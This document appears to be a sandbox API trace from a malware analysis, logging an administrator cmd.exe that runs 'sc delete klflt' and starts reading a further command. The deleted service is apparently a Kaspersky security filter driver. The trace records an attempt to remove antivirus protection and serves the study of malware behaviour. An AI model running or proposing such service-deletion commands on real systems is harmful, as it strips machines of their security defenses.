GetProcessHeap () returned 0x4a0000 [0072.754] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.754] GetProcessHeap () returned 0x4a0000 [0072.754] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.754] GetProcessHeap () returned 0x4a0000 [0072.754] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.754] GetProcessHeap () returned 0x4a0000 [0072.754] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.754] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.754] GetProcessHeap () returned 0x4a0000 [0072.754] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0072.754] GetProcessHeap () returned 0x4a0000 [0072.754] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0072.754] GetProcessHeap () returned 0x4a0000 [0072.754] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0072.754] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.755] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.755] GetLastError () returned 0x2 [0072.755] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.755] GetLastError () returned 0x2 [0072.755] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.755] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.755] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.755] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.756] GetLastError () returned 0x2 [0072.756] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.756] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.756] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.756] GetProcessHeap () returned 0x4a0000 [0072.756] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.756] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.756] GetProcessHeap () returned 0x4a0000 [0072.756] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x98) returned 0x4b9180 [0072.756] GetProcessHeap () returned 0x4a0000 [0072.756] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x98 [0072.756] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete klflt") returned 1 [0072.757] GetProcessHeap () returned 0x4a0000 [0072.757] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.757] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.757] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.757] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0072.757] GetProcessHeap () returned 0x4a0000 [0072.757] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0072.757] GetProcessHeap () returned 0x4a0000 [0072.757] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0072.757] GetProcessHeap () returned 0x4a0000 [0072.757] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0072.757] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete klflt", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete klflt", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete klflt", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x9d4, dwThreadId=0x9f4)) returned 1 [0072.761] CloseHandle (hObject=0x50) returned 1 [0072.761] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0072.761] GetProcessHeap () returned 0x4a0000 [0072.761] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0072.761] GetEnvironmentStringsW () returned 0x4c1b10* [0072.761] GetProcessHeap () returned 0x4a0000 [0072.762] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.762] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.762] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.762] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffda000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.762] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0072.806] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.806] CloseHandle (hObject=0x54) returned 1 [0072.806] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.806] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.806] GetProcessHeap () returned 0x4a0000 [0072.806] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.806] GetEnvironmentStringsW () returned 0x4c1b10* [0072.806] GetProcessHeap () returned 0x4a0000 [0072.806] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.806] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.806] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.806] GetProcessHeap () returned 0x4a0000 [0072.806] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.806] GetEnvironmentStringsW () returned 0x4c1b10* [0072.806] GetProcessHeap () returned 0x4a0000 [0072.806] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.806] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.806] GetProcessHeap () returned 0x4a0000 [0072.806] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.806] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.807] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.807] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.807] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.807] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.807] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.807] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.807] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.807] GetConsoleOutputCP () returned 0x1b5 [0072.807] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.807] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.808] GetProcessHeap () returned 0x4a0000 [0072.808] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.808] GetProcessHeap () returned 0x4a0000 [0072.808] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.808] GetProcessHeap () returned 0x4a0000 [0072.808] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.808] GetProcessHeap () returned 0x4a0000 [0072.808] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.808] GetProcessHeap () returned 0x4a0000 [0072.808] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0072.808] GetProcessHeap () returned 0x4a0000 [0072.808] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.809] GetProcessHeap () returned 0x4a0000 [0072.809] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0072.809] GetProcessHeap () returned 0x4a0000 [0072.809] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.809] GetProcessHeap () returned 0x4a0000 [0072.809] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.809] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.809] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.809] GetFileType (hFile=0x120) returned 0x3 [0072.809] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.809] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.809] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.809] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.809] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.809] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.809] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.809] GetFileType (hFile=0x120) returned 0x3 [0072.809] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.809] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.809] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.809] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.810] GetFileType (hFile=0xb8) returned 0x3 [0072.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.810] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.810] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.810] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.810] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.810] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.810] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.810] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.810] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.810] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.810] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.810] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.810] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.810] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.810] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.811] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.811] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.811] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.811] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.811] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.811] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.811] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.811] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.811] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.811] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="klflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.811] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.811] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.811] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="lflt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.811] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.811] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.811] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.812] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="blt\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.812] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.812] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.812] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.812] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="at\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.812] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.812] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.812] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.812] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="c\n.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.812] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.812] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.812] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.812] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="k.0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.812] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.812] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.812] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.812] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="u0.0\"\nx64-9.4\"\n\nA\"\n") returned 1 [0072.812] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.812] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 